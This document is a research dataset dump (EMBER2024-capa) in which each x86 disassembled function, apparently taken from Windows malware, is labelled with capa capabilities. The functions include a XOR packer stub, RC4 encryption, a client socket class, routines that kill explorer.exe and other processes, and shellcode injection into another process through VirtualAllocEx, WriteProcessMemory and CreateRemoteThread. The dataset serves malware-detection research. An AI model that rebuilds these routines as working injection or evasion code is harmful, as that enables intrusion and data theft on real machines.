joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40563b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402fd6
and dword [ebp - 0x14], 0
cmp dword [0x40b7d8], 0
mov dword [ebp - 0x18], eax
jne 0x4056ee
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405796
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405796
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40b7d8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40b7dc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40b7e0], eax
call edi
push eax
call esi
mov dword [0x40b7e8], eax
test eax, eax
je 0x4056ee
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40b7e4], eax
mov eax, dword [0x40b7e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405747
cmp dword [0x40b7e8], ecx
je 0x405747
push eax
call esi
push dword [0x40b7e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405747
test ebx, ebx
je 0x405747
call edi
test eax, eax
je 0x40573e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40573e
test byte [ebp - 8], 1
jne 0x405747
or dword [ebp + 0x10], 0x200000
jmp 0x40577a
mov eax, dword [0x40b7dc]
cmp eax, dword [ebp - 0x18]
je 0x40577a
push eax
call esi
test eax, eax
je 0x40577a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40577a
mov eax, dword [0x40b7e0]
cmp eax, dword [ebp - 0x18]
je 0x40577a
push eax
call esi
test eax, eax
je 0x40577a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b7d8]
call esi
test eax, eax
je 0x405796
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405798
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040239a
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
nop
mov ecx, 0x3a571de9
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x71d827c1
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4012d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
xor edi, edi
mov dword [ebp - 0x508], edx
lea eax, [ebp - 0x504]
mov dword [ebp - 0x50c], ecx
push edi
push eax
call fcn.0041cce0
add esp, 0xc
xor ecx, ecx
nop dword [eax + eax]
mov eax, 0x38e38e39
mov byte [ebp + ecx - 0x104], cl
mul ecx
shr edx, 1
lea eax, [edx + edx*8]
mov edx, ecx
sub edx, eax
movzx eax, byte [edx + 0x4533b8]
mov dword [ebp + ecx*4 - 0x504], eax
inc ecx
cmp ecx, 0x100
jl 0x401310
xor esi, esi
mov dl, byte [ebp + esi - 0x104]
mov ecx, dword [ebp + esi*4 - 0x504]
movzx eax, dl
add ecx, eax
add edi, ecx
and edi, 0x800000ff
jns 0x401365
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
inc esi
mov byte [ebp + edi - 0x104], dl
cmp esi, 0x100
jl 0x401340
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x508], ebx
jbe 0x4013fb
inc esi
and esi, 0x800000ff
jns 0x4013a2
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [ebp + esi - 0x104]
movzx edx, cl
add edi, edx
and edi, 0x800000ff
jns 0x4013be
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
mov byte [ebp + edi - 0x104], cl
movzx eax, byte [ebp + esi - 0x104]
mov ecx, dword [ebp - 0x50c]
add eax, edx
movzx eax, al
movzx eax, byte [ebp + eax - 0x104]
xor byte [ecx + ebx], al
inc ebx
cmp ebx, dword [ebp - 0x508]
jb 0x401391
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419df9
mov esp, ebp
pop ebp
ret

Function at 0x401410
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi], vtable.CClientSocket.0
mov dword [esi + 4], vtable.CBuffer.0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], vtable.CBuffer.0
mov dword [esi + 0x20], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x24], vtable.CBuffer.0
mov dword [esi + 0x30], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x34], vtable.CBuffer.0
mov dword [esi + 0x40], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov byte [esi + 0x60], 1
mov dword [esi + 0x64], 0xc
mov dword [esi + 0x68], 0
mov dword [esi + 0x6c], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x19c]
mov dword [esi + 0x4c], eax
mov eax, esi
mov byte [esi + 0x58], 0
mov dword [esi + 0x48], 0xffffffff
mov dword [esi + 0x44], 0
mov dword [esi + 0x74], 0
mov byte [esi + 0x78], 0
mov dword [esi + 0x54], 0x20662046
pop esi
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x403080
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44929c
push eax
mov dword [ebp - 0xc], eax
call esi
push 0x4492ac
push dword [ebp - 0xc]
mov ebx, eax
call esi
push 0x4492bc
push dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x10], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x20], eax
call esi
push 0
mov edi, eax
call ebx
lea eax, [ebp - 0x14]
xor esi, esi
push eax
push 0x43d568
push 1
push esi
push 0x43d578
call dword [ebp - 0x10]
test eax, eax
jne 0x4031c2
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 4]
push esi
push edx
push 0x43d588
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x4031c2
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x18]
push edx
lea edx, [ebp - 8]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x40319c
lea ebx, [esi + 8]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x43d460
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x40317c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x30]
push 0
push edx
mov word [ebp - 0x30], bx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x403173
push dword [ebp - 0x28]
inc esi
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x18]
push edx
lea edx, [ebp - 8]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x403137
call dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x4031af
push eax
call edi
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x4031b9
push eax
call edi
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4041e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x130], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x124
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push 0
push eax
call fcn.0041cce0
add esp, 0xc
mov dword [esp + 0x10], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x404272
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x404272
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
push dword [esp + 0xc]
lea eax, [esp + 0x38]
push eax
call esi
test eax, eax
je 0x40428b
lea eax, [esp + 0x10]
push eax
push edi
call ebx
test eax, eax
jne 0x404250
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret 4
mov esi, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret 4

Function at 0x4042b0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.CallWindowProcA
push str.user32.dll
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [ebp + 0x10]
mov dword [ebp - 8], eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 4], eax
test edi, edi
jne 0x404312
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
xor esi, esi
cmp dword [ebp + 0x10], esi
jle 0x404340
nop word [eax + eax]
mov eax, dword [ebp + 0xc]
push 0
push 1
add eax, esi
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404393
inc esi
inc edi
cmp esi, dword [ebp + 0x10]
jl 0x404320
mov eax, dword [ebp - 4]
push 0
push 0
push eax
push dword [ebp - 8]
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push dword [ebp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0x8000
push dword [ebp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405010
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43bc9d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push eax
call fcn.004041e0
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x4051f3
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4051f3
push 0x40
push 0x1000
push 4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x4051ec
sub esp, 0x18
xorps xmm0, xmm0
mov esi, esp
mov dword [ebp - 0x30], esp
push 0x20
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.00419e46
mov edx, eax
mov dword [esi + 0x10], 0x1f
mov dword [esi], edx
mov dword [esi + 0x14], 0x1f
movups xmm0, xmmword [str._GetSelfUin_Contact_Util__YAKXZ]
movups xmmword [edx], xmm0
movq xmm0, qword [0x449608]
movq qword [edx + 0x10], xmm0
mov ecx, dword [0x449610]
mov dword [edx + 0x18], ecx
movzx eax, word [0x449614]
mov word [edx + 0x1c], ax
mov al, byte [0x449616]
mov byte [edx + 0x1e], al
mov byte [edx + 0x1f], 0
mov esi, dword [ebp - 0x2c]
sub esp, 0x14
mov ecx, esp
xorps xmm0, xmm0
push esi
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0xe
mov dword [ecx + 0x14], 0xf
movq xmm0, qword [str.KernelUtil.dll]
movq qword [ecx], xmm0
mov eax, dword [0x4495f0]
mov dword [ecx + 8], eax
movzx eax, word [0x4495f4]
mov word [ecx + 0xc], ax
mov byte [ecx + 0xe], 0
mov dword [ebp - 4], 0xffffffff
call fcn.004043c0
mov edx, eax
test edx, edx
je 0x4051da
sar eax, 0x10
mov ecx, edx
mov byte [ebp - 0x1c], al
sar ecx, 8
mov byte [ebp - 0x1d], cl
mov ecx, dword [ebp - 0x24]
mov eax, ecx
sar eax, 8
mov byte [ebp - 0x16], al
mov eax, ecx
sar eax, 0x10
mov byte [ebp - 0x15], al
mov eax, ecx
sar eax, 0x18
mov byte [ebp - 0x14], al
lea eax, [ebp - 0x20]
push 0xf
mov byte [ebp - 0x1e], dl
push eax
sar edx, 0x18
push esi
mov word [ebp - 0x20], 0xb860
mov byte [ebp - 0x1b], dl
mov word [ebp - 0x1a], 0xd0ff
mov byte [ebp - 0x18], 0xa3
mov byte [ebp - 0x17], cl
mov word [ebp - 0x13], 0xc361
call fcn.004042b0
mov esi, dword [ebp - 0x24]
cmp eax, 0xffffffff
je 0x4051dd
push 0
push 4
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4051dd
push 0x8000
push 4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
jmp 0x4051f5
mov esi, dword [ebp - 0x24]
push 0x8000
push 4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret 4
Function at 0x406ae0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x48], eax
push esi
push 0x14
call fcn.00419e38
push 0x40
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
call fcn.0041cce0
add esp, 0x10
mov dword [esp + 8], 0x40
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
shrd ecx, eax, 0x14
shr eax, 0x14
add ecx, 1
adc eax, 0
push eax
push ecx
push 0x449898
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [esp + 0x5c]
add esp, 0x10
mov eax, esi
pop esi
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret

Function at 0x406b60
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x48], eax
push esi
push 0x14
call fcn.00419e38
push 0x40
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
call fcn.0041cce0
add esp, 0x10
mov dword [esp + 8], 0x40
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
shrd ecx, eax, 0x14
shr eax, 0x14
add ecx, 1
adc eax, 0
push eax
push ecx
push 0x449898
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [esp + 0x5c]
add esp, 0x10
mov eax, esi
pop esi
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x4081c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ec
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x2e8], eax
push ebx
push esi
push edi
mov ebx, ecx
mov dword [esp + 0x10], edx
push 0x168
lea eax, [esp + 0x18c]
mov ecx, 0x5c
mov esi, ebx
lea edi, [esp + 0x1c]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [esp + 0x124]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x408313
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 0
push eax
add ecx, 0xfffffe90
push ecx
lea ecx, [ebx + 0x170]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x408313
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408265
sub ecx, edx
je 0x408295
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x128]
push eax
lea eax, [esp + 0x190]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x4082ab
lea eax, [esp + 0x124]
push eax
lea eax, [esp + 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x1c]
sub eax, 0
je 0x4082e8
sub eax, 1
je 0x4082c0
sub eax, 2
je 0x40832a
jmp 0x4082f9
xor edx, edx
lea ecx, [esp + 0x188]
call fcn.00407f20
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2e8]
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
mov edx, 5
lea ecx, [esp + 0x188]
call fcn.00407f20
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2e8]
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2f4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
call fcn.00406660
int3
Function at 0x408330
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
mov ebx, ecx
push esi
push edi
test ebx, ebx
je 0x408439
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x408439
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x408432
mov ecx, ebx
lea eax, [esp + 0x34]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4083b0
test dl, dl
je 0x4083ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4083b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x408390
xor eax, eax
jmp 0x4083b5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4083fb
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
je 0x408432
mov eax, ebx
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4083f2
test dl, dl
je 0x4083ee
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4083f2
add ecx, 2
add eax, 2
test dl, dl
jne 0x4083d2
xor eax, eax
jmp 0x4083f7
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4083c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x18]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x408439
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x4085e0
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, edx
test edi, edi
je 0x408644
lea eax, [ebp - 0x314]
push eax
push 0x43d440
push 1
push 0
push 0x43d470
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x408644
mov eax, dword [ebp - 0x314]
lea edx, [ebp - 0x318]
push edx
push 0x43d480
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
mov eax, dword [ebp - 0x314]
jns 0x408656
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [eax]
call fcn.004234e9
push dword [eax]
push dword [ebp - 0x314]
call dword [esi + 0x50]
mov eax, dword [ebp - 0x314]
push 0x27b
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov eax, dword [ebp - 0x314]
push str.That_is_a_test
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x314]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test ebx, ebx
je 0x4086bd
push str..lnk
push ebx
push edi
lea eax, [ebp - 0x108]
push str._s_s_s
push eax
call fcn.00411150
add esp, 0x14
jmp 0x40873b
call fcn.004234e9
push 0x5c
push dword [eax]
call fcn.0041c330
add esp, 8
test eax, eax
jne 0x4086fd
mov eax, dword [ebp - 0x318]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x314]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
push eax
push edi
lea eax, [ebp - 0x108]
push str._s_s
push eax
call fcn.00411150
lea ecx, [ebp - 0x108]
add esp, 0x10
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408720
sub ecx, edx
mov word [ebp + ecx - 0x10b], 0x6e6c
mov byte [ebp + ecx - 0x109], 0x6b
push 0x104
lea eax, [ebp - 0x310]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x108]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x318]
lea edx, [ebp - 0x310]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov esi, eax
mov eax, dword [ebp - 0x318]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x314]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [ebp - 4]
not esi
shr esi, 0x1f
xor ecx, ebp
mov eax, esi
pop esi
pop edi
pop ebx
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x408cf0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x124
mov esi, eax
mov dword [esp + 0x14], 0x128
lea eax, [esp + 0x18]
push 0
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
lea eax, [esp + 0x34]
push str.explorer.exe
push eax
call fcn.00423528
add esp, 8
test eax, eax
jne 0x408d7c
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x408d7c
push 0
push eax
call edi
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x408d50
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret